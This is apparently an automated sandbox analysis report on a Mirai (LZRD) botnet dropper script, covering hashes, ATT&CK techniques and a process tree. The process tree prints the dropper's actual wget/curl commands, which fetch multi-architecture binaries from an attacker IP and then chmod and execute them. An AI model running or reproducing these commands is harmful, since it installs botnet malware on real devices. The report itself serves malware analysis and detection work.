mirai | 2b47444a541ea02a60ee5a921101d6a34d6f1149466a595c2debeff27dabef2e

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
07/12/2024, 15:30

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General

Target

cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh
Size

2KB
MD5

5562819bed77a9cb62743843ee3a42ba
SHA1

7b3934c9807c5fa51b62ac5758f33c68015e8591
SHA256

cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e
SHA512

d907f11e575e06dbcf6936eeb0deaa7112eb2b063c54334c5f5fcd5cb3cb7d725419ce3dd4e9fc12c727b02fa0db090c50194638cdcbe68863ea0c7acd370611

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1548	chmod
1558	chmod
1650	chmod
1528	chmod
1600	chmod
1620	chmod
1538	chmod
1580	chmod
1590	chmod
1630	chmod
1522	chmod
1610	chmod
1640	chmod
1660	chmod
1570	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/Space	1523	Space
/tmp/Space	1529	Space
/tmp/Space	1539	Space
/tmp/Space	1549	Space
/tmp/Space	1559	Space
/tmp/Space	1571	Space
/tmp/Space	1581	Space
/tmp/Space	1591	Space
/tmp/Space	1601	Space
/tmp/Space	1611	Space
/tmp/Space	1621	Space
/tmp/Space	1631	Space
/tmp/Space	1641	Space
/tmp/Space	1651	Space
/tmp/Space	1661	Space

Modifies Watchdog functionality 1 TTPs 28 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 28 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/bin/watchdog	Space

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-5.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1136/status	Space
File opened for reading	/proc/1664/status	Space
File opened for reading	/proc/10/status	Space
File opened for reading	/proc/22/status	Space
File opened for reading	/proc/167/status	Space
File opened for reading	/proc/426/status	Space
File opened for reading	/proc/10/status	Space
File opened for reading	/proc/34/status	Space
File opened for reading	/proc/155/status	Space
File opened for reading	/proc/16/status	Space
File opened for reading	/proc/333/status	Space
File opened for reading	/proc/973/status	Space
File opened for reading	/proc/1502/status	Space
File opened for reading	/proc/581/status	Space
File opened for reading	/proc/81/status	Space
File opened for reading	/proc/1315/status	Space
File opened for reading	/proc/1148/status	Space
File opened for reading	/proc/172/status	Space
File opened for reading	/proc/167/status	Space
File opened for reading	/proc/535/status	Space
File opened for reading	/proc/160/status	Space
File opened for reading	/proc/78/status	Space
File opened for reading	/proc/12/status	Space
File opened for reading	/proc/1249/status	Space
File opened for reading	/proc/24/status	Space
File opened for reading	/proc/1195/status	Space
File opened for reading	/proc/333/status	Space
File opened for reading	/proc/1119/status	Space
File opened for reading	/proc/1199/status	Space
File opened for reading	/proc/1205/status	Space
File opened for reading	/proc/31/status	Space
File opened for reading	/proc/1161/status	Space
File opened for reading	/proc/157/status	Space
File opened for reading	/proc/27/status	Space
File opened for reading	/proc/1157/status	Space
File opened for reading	/proc/172/status	Space
File opened for reading	/proc/1157/status	Space
File opened for reading	/proc/471/status	Space
File opened for reading	/proc/35/status	Space
File opened for reading	/proc/420/status	Space
File opened for reading	/proc/330/status	Space
File opened for reading	/proc/455/status	Space
File opened for reading	/proc/164/status	Space
File opened for reading	/proc/685/status	Space
File opened for reading	/proc/197/status	Space
File opened for reading	/proc/1203/status	Space
File opened for reading	/proc/1157/status	Space
File opened for reading	/proc/30/status	Space
File opened for reading	/proc/981/status	Space
File opened for reading	/proc/490/status	Space
File opened for reading	/proc/1025/status	Space
File opened for reading	/proc/1554/status	Space
File opened for reading	/proc/165/status	Space
File opened for reading	/proc/476/status	Space
File opened for reading	/proc/29/status	Space
File opened for reading	/proc/1566/status	Space
File opened for reading	/proc/333/status	Space
File opened for reading	/proc/528/status	Space
File opened for reading	/proc/434/status	Space
File opened for reading	/proc/1331/status	Space
File opened for reading	/proc/3/status	Space
File opened for reading	/proc/1165/status	Space
File opened for reading	/proc/455/status	Space
File opened for reading	/proc/22/status	Space

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1555	wget
1556	curl
1567	wget
1568	curl

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Space.x86	wget
File opened for modification	/tmp/Space.arm7	wget
File opened for modification	/tmp/Space.sparc	curl
File opened for modification	/tmp/Space.sh4	wget
File opened for modification	/tmp/Space.arc	wget
File opened for modification	/tmp/Space.mips	wget
File opened for modification	/tmp/Space.mips64	curl
File opened for modification	/tmp/Space.arc	curl
File opened for modification	/tmp/Space.x86_64	wget
File opened for modification	/tmp/Space.mips	curl
File opened for modification	/tmp/Space.m68k	wget
File opened for modification	/tmp/Space.ppc	wget
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/Space.x86	curl
File opened for modification	/tmp/Space.x86_64	curl
File opened for modification	/tmp/Space.mpsl	curl
File opened for modification	/tmp/Space.arm	curl
File opened for modification	/tmp/Space.arm6	curl
File opened for modification	/tmp/Space.ppc	curl
File opened for modification	/tmp/Space.sh4	curl
File opened for modification	/tmp/Space	cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh
File opened for modification	/tmp/Space.arm5	wget
File opened for modification	/tmp/Space.arm5	curl
File opened for modification	/tmp/Space.m68k	curl
File opened for modification	/tmp/Space.arm	wget
File opened for modification	/tmp/Space.arm7	curl
File opened for modification	/tmp/Space.i686	wget
File opened for modification	/tmp/Space.i686	curl
File opened for modification	/tmp/Space.mpsl	wget
File opened for modification	/tmp/Space.arm6	wget

/tmp/cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh
/tmp/cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh
1⤵
- Writes file to tmp directory
PID:1506
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Writes file to tmp directory
  PID:1507
- /usr/bin/wget
  wget http://64.235.45.196/hiddenbin/Space.arc
  2⤵
  - Writes file to tmp directory
  PID:1508
- /usr/bin/curl
  curl -O http://64.235.45.196/hiddenbin/Space.arc
  2⤵
  - Writes file to tmp directory
  PID:1520
- /bin/cat
  cat Space.arc
  2⤵
  PID:1521
- /bin/chmod
  chmod +x busybox cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh config-err-C9zgZS netplan_yfbt283b snap-private-tmp Space Space.arc ssh-f0CRRAAB6NyY systemd-private-0779bd6fdccd4079b4778a22e5750cd8-bolt.service-m8MTGh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-colord.service-QwzSFh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-ModemManager.service-CVp8sg systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-resolved.service-EBNwMH systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-timedated.service-sTRmXQ
  2⤵
  - File and Directory Permissions Modification
  PID:1522
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  PID:1523
- /usr/bin/wget
  wget http://64.235.45.196/hiddenbin/Space.x86
  2⤵
  - Writes file to tmp directory
  PID:1525
- /usr/bin/curl
  curl -O http://64.235.45.196/hiddenbin/Space.x86
  2⤵
  - Writes file to tmp directory
  PID:1526
- /bin/cat
  cat Space.x86
  2⤵
  PID:1527
- /bin/chmod
  chmod +x busybox cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh config-err-C9zgZS netplan_yfbt283b snap-private-tmp Space Space.arc Space.x86 ssh-f0CRRAAB6NyY systemd-private-0779bd6fdccd4079b4778a22e5750cd8-bolt.service-m8MTGh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-colord.service-QwzSFh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-ModemManager.service-CVp8sg systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-resolved.service-EBNwMH systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-timedated.service-sTRmXQ
  2⤵
  - File and Directory Permissions Modification
  PID:1528
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1529
- /usr/bin/wget
  wget http://64.235.45.196/hiddenbin/Space.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1535
- /usr/bin/curl
  curl -O http://64.235.45.196/hiddenbin/Space.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1536
- /bin/chmod
  chmod +x busybox cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh config-err-C9zgZS netplan_yfbt283b snap-private-tmp Space Space.arc Space.x86 Space.x86_64 ssh-f0CRRAAB6NyY systemd-private-0779bd6fdccd4079b4778a22e5750cd8-bolt.service-m8MTGh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-colord.service-QwzSFh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-ModemManager.service-CVp8sg systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-resolved.service-EBNwMH systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-timedated.service-sTRmXQ
  2⤵
  - File and Directory Permissions Modification
  PID:1538
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1539
- /usr/bin/wget
  wget http://64.235.45.196/hiddenbin/Space.i686
  2⤵
  - Writes file to tmp directory
  PID:1545
- /usr/bin/curl
  curl -O http://64.235.45.196/hiddenbin/Space.i686
  2⤵
  - Writes file to tmp directory
  PID:1546
- /bin/chmod
  chmod +x busybox cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh config-err-C9zgZS netplan_yfbt283b snap-private-tmp Space Space.arc Space.i686 Space.x86 Space.x86_64 ssh-f0CRRAAB6NyY systemd-private-0779bd6fdccd4079b4778a22e5750cd8-bolt.service-m8MTGh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-colord.service-QwzSFh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-ModemManager.service-CVp8sg systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-resolved.service-EBNwMH systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-timedated.service-sTRmXQ
  2⤵
  - File and Directory Permissions Modification
  PID:1548
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1549
- /usr/bin/wget
  wget http://64.235.45.196/hiddenbin/Space.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1555
- /usr/bin/curl
  curl -O http://64.235.45.196/hiddenbin/Space.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1556
- /bin/chmod
  chmod +x busybox cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh config-err-C9zgZS netplan_yfbt283b snap-private-tmp Space Space.arc Space.i686 Space.mips Space.x86 Space.x86_64 ssh-f0CRRAAB6NyY systemd-private-0779bd6fdccd4079b4778a22e5750cd8-bolt.service-m8MTGh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-colord.service-QwzSFh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-ModemManager.service-CVp8sg systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-resolved.service-EBNwMH systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-timedated.service-sTRmXQ
  2⤵
  - File and Directory Permissions Modification
  PID:1558
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1559
- /usr/bin/wget
  wget http://64.235.45.196/hiddenbin/Space.mips64
  2⤵
  - System Network Configuration Discovery
  PID:1567
- /usr/bin/curl
  curl -O http://64.235.45.196/hiddenbin/Space.mips64
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1568
- /bin/chmod
  chmod +x busybox cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh config-err-C9zgZS netplan_yfbt283b snap-private-tmp Space Space.arc Space.i686 Space.mips Space.mips64 Space.x86 Space.x86_64 ssh-f0CRRAAB6NyY systemd-private-0779bd6fdccd4079b4778a22e5750cd8-bolt.service-m8MTGh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-colord.service-QwzSFh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-ModemManager.service-CVp8sg systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-resolved.service-EBNwMH
  2⤵
  - File and Directory Permissions Modification
  PID:1570
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1571
- /usr/bin/wget
  wget http://64.235.45.196/hiddenbin/Space.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1577
- /usr/bin/curl
  curl -O http://64.235.45.196/hiddenbin/Space.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1578
- /bin/chmod
  chmod +x busybox cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh config-err-C9zgZS netplan_yfbt283b snap-private-tmp Space Space.arc Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-f0CRRAAB6NyY systemd-private-0779bd6fdccd4079b4778a22e5750cd8-bolt.service-m8MTGh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-colord.service-QwzSFh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-ModemManager.service-CVp8sg systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-resolved.service-EBNwMH
  2⤵
  - File and Directory Permissions Modification
  PID:1580
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1581
- /usr/bin/wget
  wget http://64.235.45.196/hiddenbin/Space.arm
  2⤵
  - Writes file to tmp directory
  PID:1587
- /usr/bin/curl
  curl -O http://64.235.45.196/hiddenbin/Space.arm
  2⤵
  - Writes file to tmp directory
  PID:1588
- /bin/chmod
  chmod +x busybox cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh config-err-C9zgZS netplan_yfbt283b snap-private-tmp Space Space.arc Space.arm Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-f0CRRAAB6NyY systemd-private-0779bd6fdccd4079b4778a22e5750cd8-bolt.service-m8MTGh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-colord.service-QwzSFh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-ModemManager.service-CVp8sg systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-resolved.service-EBNwMH
  2⤵
  - File and Directory Permissions Modification
  PID:1590
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1591
- /usr/bin/wget
  wget http://64.235.45.196/hiddenbin/Space.arm5
  2⤵
  - Writes file to tmp directory
  PID:1597
- /usr/bin/curl
  curl -O http://64.235.45.196/hiddenbin/Space.arm5
  2⤵
  - Writes file to tmp directory
  PID:1598
- /bin/chmod
  chmod +x busybox cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh config-err-C9zgZS netplan_yfbt283b snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-f0CRRAAB6NyY systemd-private-0779bd6fdccd4079b4778a22e5750cd8-bolt.service-m8MTGh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-colord.service-QwzSFh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-ModemManager.service-CVp8sg systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-resolved.service-EBNwMH
  2⤵
  - File and Directory Permissions Modification
  PID:1600
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1601
- /usr/bin/wget
  wget http://64.235.45.196/hiddenbin/Space.arm6
  2⤵
  - Writes file to tmp directory
  PID:1607
- /usr/bin/curl
  curl -O http://64.235.45.196/hiddenbin/Space.arm6
  2⤵
  - Writes file to tmp directory
  PID:1608
- /bin/chmod
  chmod +x busybox cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh config-err-C9zgZS netplan_yfbt283b snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-f0CRRAAB6NyY systemd-private-0779bd6fdccd4079b4778a22e5750cd8-bolt.service-m8MTGh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-colord.service-QwzSFh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-ModemManager.service-CVp8sg systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-resolved.service-EBNwMH
  2⤵
  - File and Directory Permissions Modification
  PID:1610
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1611
- /usr/bin/wget
  wget http://64.235.45.196/hiddenbin/Space.arm7
  2⤵
  - Writes file to tmp directory
  PID:1617
- /usr/bin/curl
  curl -O http://64.235.45.196/hiddenbin/Space.arm7
  2⤵
  - Writes file to tmp directory
  PID:1618
- /bin/chmod
  chmod +x busybox cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh config-err-C9zgZS netplan_yfbt283b snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-f0CRRAAB6NyY systemd-private-0779bd6fdccd4079b4778a22e5750cd8-bolt.service-m8MTGh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-colord.service-QwzSFh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-ModemManager.service-CVp8sg systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-resolved.service-EBNwMH
  2⤵
  - File and Directory Permissions Modification
  PID:1620
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1621
- /usr/bin/wget
  wget http://64.235.45.196/hiddenbin/Space.ppc
  2⤵
  - Writes file to tmp directory
  PID:1627
- /usr/bin/curl
  curl -O http://64.235.45.196/hiddenbin/Space.ppc
  2⤵
  - Writes file to tmp directory
  PID:1628
- /bin/chmod
  chmod +x busybox cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh config-err-C9zgZS netplan_yfbt283b snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.x86 Space.x86_64 ssh-f0CRRAAB6NyY systemd-private-0779bd6fdccd4079b4778a22e5750cd8-bolt.service-m8MTGh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-colord.service-QwzSFh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-ModemManager.service-CVp8sg systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-resolved.service-EBNwMH
  2⤵
  - File and Directory Permissions Modification
  PID:1630
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1631
- /usr/bin/wget
  wget http://64.235.45.196/hiddenbin/Space.sparc
  2⤵
  PID:1637
- /usr/bin/curl
  curl -O http://64.235.45.196/hiddenbin/Space.sparc
  2⤵
  - Writes file to tmp directory
  PID:1638
- /bin/chmod
  chmod +x busybox cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh config-err-C9zgZS netplan_yfbt283b snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64 ssh-f0CRRAAB6NyY systemd-private-0779bd6fdccd4079b4778a22e5750cd8-bolt.service-m8MTGh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-colord.service-QwzSFh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-ModemManager.service-CVp8sg systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-resolved.service-EBNwMH
  2⤵
  - File and Directory Permissions Modification
  PID:1640
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1641
- /usr/bin/wget
  wget http://64.235.45.196/hiddenbin/Space.m68k
  2⤵
  - Writes file to tmp directory
  PID:1647
- /usr/bin/curl
  curl -O http://64.235.45.196/hiddenbin/Space.m68k
  2⤵
  - Writes file to tmp directory
  PID:1648
- /bin/chmod
  chmod +x busybox cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh config-err-C9zgZS netplan_yfbt283b snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64 ssh-f0CRRAAB6NyY systemd-private-0779bd6fdccd4079b4778a22e5750cd8-bolt.service-m8MTGh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-colord.service-QwzSFh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-ModemManager.service-CVp8sg systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-resolved.service-EBNwMH
  2⤵
  - File and Directory Permissions Modification
  PID:1650
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1651
- /usr/bin/wget
  wget http://64.235.45.196/hiddenbin/Space.sh4
  2⤵
  - Writes file to tmp directory
  PID:1657
- /usr/bin/curl
  curl -O http://64.235.45.196/hiddenbin/Space.sh4
  2⤵
  - Writes file to tmp directory
  PID:1658
- /bin/chmod
  chmod +x busybox cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh config-err-C9zgZS netplan_yfbt283b snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sh4 Space.sparc Space.x86 Space.x86_64 ssh-f0CRRAAB6NyY systemd-private-0779bd6fdccd4079b4778a22e5750cd8-bolt.service-m8MTGh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-colord.service-QwzSFh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-ModemManager.service-CVp8sg systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-resolved.service-EBNwMH
  2⤵
  - File and Directory Permissions Modification
  PID:1660
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1661

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/Space

Filesize
37KB

MD5
aec405b96527fb13ac254737c4e99388

SHA1
c6accf2fe5ead7e9eb8bfe46083c2c26c981a812

SHA256
643028ebd06ad279eaec9747223df4f8f37f8ac25dad3836d5dab7ac06ddec25

SHA512
cd83c16a621448a8a622987f99a4e21d12432eb7aee58354ca9ad076f2a5ed136e8726aca5ae6b759746cbd1a1f7b88ccc637b2a2a75249a954dba2fd791038c

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/tmp/Space.arc

Filesize
113KB

MD5
85a94700ab0be116bd593ba440c7a408

SHA1
26a4c515cbc06940c20c50d88c8910ba09fe6341

SHA256
b0dc38b80815fa4189ca8f3b607da6ddc060623d61696afc0bd0aaf90261de43

SHA512
6bc8be6c6feb701e49ab221cf5fb92d253c353d7dde98499439c861af999e42f68674e9d99dbbc688abc2bf7c02312198028605c924dc6d5ba2ef18220e42622

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/tmp/busybox

Filesize
2.0MB

MD5
b4dede5fc0b1bad5cb8e901bde126b97

SHA1
10cbe9a418ad84a1ed297948539d37aeb58dd810

SHA256
a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020

SHA512
45665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads